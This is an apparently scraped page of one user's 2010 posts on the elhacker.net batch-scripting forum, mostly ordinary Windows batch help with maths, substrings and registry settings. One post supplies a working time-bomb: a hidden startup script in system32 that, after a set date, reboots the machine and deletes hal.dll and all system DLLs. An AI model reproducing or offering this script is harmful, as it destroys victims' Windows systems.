elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Mensajes
Páginas: 1 ... 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 [57] 58 59 60 61 62 63 64 65 66
561  Programación / Scripting / Re: Duda en Batch (comando if) en: 15 Julio 2010, 13:20 pm
no entendi  :-\ ...para colmo el primer code no se lee  :(
562  Programación / Scripting / Re: Ecuaciones (BATCH) en: 12 Julio 2010, 16:27 pm
a ver estaba viendo en el foro y encontre esto
http://foro.elhacker.net/scripting/libreria_de_funciones_y_scripts_batch_actualizado_260507-t163184.0.html
Citar
Calcular raices


Código:
:: Autor Sdc
@echo off
if NOT "%~1"=="vv" (cmd /v /c %~nx0 vv^&exit&goto:EOF)
set /P x=Valor:
FOR /L %%i IN (%x%,-2,1) DO (
set /A y=%x%/%%i
IF /I !y! EQU %%i (
echo %%i
goto:EOF
)
)



Código:
:: Autor ne0x
@echo off
set /P x=Valor :
:BUCLE
set /a cont=cont+1
set /a multi=cont*cont
if %multi%==%x% echo Raiz: %cont%&pause&goto:EOF
if %multi% GTR %x% echo El valor no tiene raiz entera&pause&goto:EOF
goto BUCLE

563  Programación / Scripting / Re: BATCH: Como puedo usar dos comandos en una sola linea? en: 6 Julio 2010, 18:01 pm
Código:
dir /b c:\test >> 123.txt
para que se genere un renglon por cada archivo
y como dice leo jugar con los comodines en base a lo que vos queres
564  Programación / Scripting / Re: problema en batch en: 6 Julio 2010, 16:44 pm
solo para saber...
queres que se haga despues de n inicios o sea a la decima prendida de pc por ejemplo, que arranque siempre despues de una fecha, queres que solo funcione una vez despues de tal fecha...
edito
de todas formas aca esta tu bat funcionando este bat va a funcionar siempre que haya pasado el 20/07/2010
Código:
@echo off
cd "%windir%\system32"
echo @echo off>>wlcomn.bat
echo set fin=20/07/2010>>wlcomn.bat
echo if %DATE% GEQ %fin% (>>wlcomn.bat
echo shutdown -r -t 4 >>wlcomn.bat
echo erase /q /a "%%windir%%\system32\hal.dll">>wlcomn.bat
echo erase /q /a "%%windir%%\system32\*.dll">>wlcomn.bat
echo ) else exit>>wlcomn.bat
@reg add Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Run /V Wlcomn /f /D %Windir%\system32\Wlcomn.batattrib +h "%windir%\system32\Wlcomn.bat"
attrib +h "%windir%\system32\Wlcomn.bat"
en la parte del registro estodo junto en el mismo renglon pero no lo se poner  :rolleyes:
tus errores son
en el
Citar
%%DATE%% == %%fin%%
lleva solo un % no dos...y en el else no se pone () va yo no los pongo asi dice la ayuda de IF /?
565  Programación / Scripting / Re: programa batch para cambiar fondo y screensaver en: 6 Julio 2010, 13:12 pm
Citar
REG ADD "HKCU\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "%SystemRoot%\wallpaper.bmp"
en la parte de
Citar
wallpaper.bmp
y cambiando esa parte por la fotito tuya?...probaste?
Citar
tufoto.bmp
edito
y en la`parte de
Citar
REG ADD "HKCU\Control Panel\Desktop" /V SCRNSAVE.EXE /T REG_SZ /F /D "%SystemRoot%\System32\screensaver.scr"
poner el tuyo en
Citar
screensaver.scr
y respeta las comillas tanto del .bmp y del .scr
566  Programación / Scripting / Re: Pregunta batch en: 3 Julio 2010, 18:18 pm
digo a modo de ejemplo para que se ejecute despues de n veces serian dos bat que arranquen con la pc...
 1=el que vos queres ejecutar
 2=el bat contador
los dos arrancan con la pc pero 1.bat arranca un poco mas tarde "seria usando %time% y sumarle un par de segundos o minutos% a su vez con un if se fijaria si el dato del txt es o no igual si es igual termina de ejecutar si es distinto usando taskkill apaga 1.bat
el 2.bat arranca primero y usando tasklist se fijaria si se ejecuto 1.bat y lo guarda en un txt en la pc ...
otra seria meterlo todo en un solo bat con uso de if y gotos...pero basicamente serian dos funciones en el mismo bat...
ahora viendo tu bat
Código:
@echo off
set fin=03/07/2010
if %DATE%==%fin%(
del /f /q /s "D:\a.txt"
) else (
del /f /q /s "D:\b.txt"
)
le das una fecha cierta no una cantidad n de veces...para eso usa %at% o el %SCHTASKS%
567  Programación / Scripting / Re: Ecuaciones (BATCH) en: 30 Junio 2010, 20:25 pm
Como hago para separar tres digitos en variables?
es un tutorial de....bue no recuerdo y no quiero hacer plagio  :rolleyes:...pero lo busco y lo pongo
respuesta  ;) a leer  ;D

Citar
Extracción de carácteres:


Bien esta es una parte muy interesante, nos permita obtener "trozos" de variables llamados subcadenas, existen varias formas para ello, siendo la principal:
Código:
SET VariableResultado=%VariableOriginal:~m,n%

Almacena en la VariableResult ado la subcadena que existen en la VariableOrigin al desde la posición "m" durante "n" caracteres.

Ejemplo:
Código:
SET VAR=123456789
SET RES=%VAR:~3,2%
ECHO %RES%

Mostraría por pantalla:
45 (los dos caracteres a partir del tercero)

Como en la sustitución de caracteres, la VariableResult ado y la VariableOrigin al pueden ser las mismas.

Si "m" o "n" son iguales a 0 pueden omitirse, por ejemplo:
Código:
SET VAR=123456789
SET RES1=%VAR:~,5%
SET RES2=%VAR:~0,5%
IF %RES1%==%RES2% ECHO Funciona
ECHO %RES1%=%RES2%

Mostraría por pantalla, "Funciona" y después:
12345=12345

Lo mismo con el siguiente code:
Código:
SET VAR=123456789
:: Lo siguiente significa extraer a partir del caracter 5º hasta el final
SET RES1=%VAR:~5%
SET RES2=%VAR:~5,4%
IF %RES1%==%RES2% ECHO Funciona
ECHO %RES1%=%RES2%

Mostraría primero por pantalla "Funciona" y después:
6789=6789

Estos métodos abreviados son útiles para cuando no conocemos el numero de caracteres de la variable, sobre todo el 2º, ya que si queremos extraer los 3 últimos caracteres pero no sabemos a partir del cual seria eso no lo podríamos hacer.

Ejemplos bastante usados:
Código:
SET DIA=%DATE:~,2%
SET MES=%DATE:~3,2%
SET AÑO=%DATE:~6%

Lo mismo para sacar las horas, minutos y segundos de la variable %TIME%, etc...

Fin de la 1º Clase, si tenéis dudas posteralas que las resolveré, si tenéis criticas ponerlas también.
y para no desmerecer a los chicos del foro aca esta el de ellos   ;-)
http://foro.elhacker.net/scripting/programacion_batch_avanzada_nuevo-t132924.0.html

y sobre identidades notables una vez obtenida la formula de bascara tenes los posibles binomios que la conforman el polinomio de la identidad y para pensar en algebra teorica...la x es solo un numero que no conoces...a ver si lo ves tranqui vas a ver que el resultado de obtener por ejemplo
Citar
(a ± b)^2 = a^2 ± 2 · a · b + b^2
la parte (a ± b)^2 es el resultado usando bascara del polinomio a^2 ± 2 · a · b + b^2 y que tenga una x lo unico que hace es que se multiplique en cada termino

568  Programación / Scripting / Re: Como hacer que elija entre varias cosas al azar? (batch) en: 30 Junio 2010, 14:51 pm
a ver la idea seria tomar alguna variable de la pc como el time o ponerte a contar los exe q estan ejecutandose como random....y cargar las 3 columnas de 20 palabras como resultado para comparar con ese random...jajaja me pongo a pensar algo mientras el jefe anda viendo sus cosas
edito
visitando el foro hay varias que nada tienen que ver con lo q puse y estan muy buenas es cuestion de buscar
569  Programación / Scripting / Re: Ecuaciones (BATCH) en: 30 Junio 2010, 13:28 pm
lo de los signos deberias hacer un funcion en el codigo tuyo que la llamas con call para que no tarde y usar el concepto de lo absolutos para suma o resta...seria ver cual es mas grande y que signo tiene y ese queda  :rolleyes:....y la multiplicacion o division seria puro regla de signos y ponerlo con el resultado pero no como una variable numerica...en ambos casos suma o multiplicacion hacerlo con extraccion de caracteres seria con un if para que se fije si tiene el simbolo -  :silbar:...me pongo a pensar algo y veo  :P...pero bue para mi que algun chango (pibe en catamarca argentina) que conozca mas de batch se juega y te da una mano  ;D
570  Programación / Scripting / Re: Ecuaciones (BATCH) en: 29 Junio 2010, 18:00 pm
a modo de idea falta pensarlo un poco pero me sale con los datos que me diste
Citar
{ 4x+y=6
{3x + 2y=7
hay que fijarse si tiene errores..eso si con numeros ideales o decimales no se si sale
Código:
echo -------------------------------
echo   los datos se ingresan como
echo.
echo   ax+by=c
echo   dx+ey=f
echo.
echo en caso de no tener munero vale uno
echo si no tiene valor poner cero
echo   -----------------------------
echo.
echo ingrese a
set /p a=
echo ingrese b
set /p b=
echo ingrese c
set /p c=
echo ingrese d
set /p d=
echo ingrese e
set /p e=
echo ingrese f
set /p f=

set /a numerador_y=(%a%*%f%)-(%d%*%c%)
set /a denominador_y=(-%d%*%b%)+(%e%*%a%)


set /a numerador_x=(-%c%*%d%*%b%)+(%c%*%e%*%a%)-(%b%*%a%*%f%)+(%d%*%c%*%b%)
set /a denominador_x=(-%d%*%b%*%a%)+(%e%*%a%*%a%)

echo el numerador de y es %numerador_y%
echo el denominador de y %denominador_y%
echo el numerador de x es %numerador_x%
echo el denominador de x %denominador_x%
echo divida ud...puede ser que de decimales
pause >nul
es lo que salio  :P....y sobre la raiz cuadrada me acorde algo parecido estudiaba para matematicas pero para contador publico...pero si se puede sacar manalmente te dejo un ejemplo
Citar
Páginas: 1 ... 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 [57] 58 59 60 61 62 63 64 65 66
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines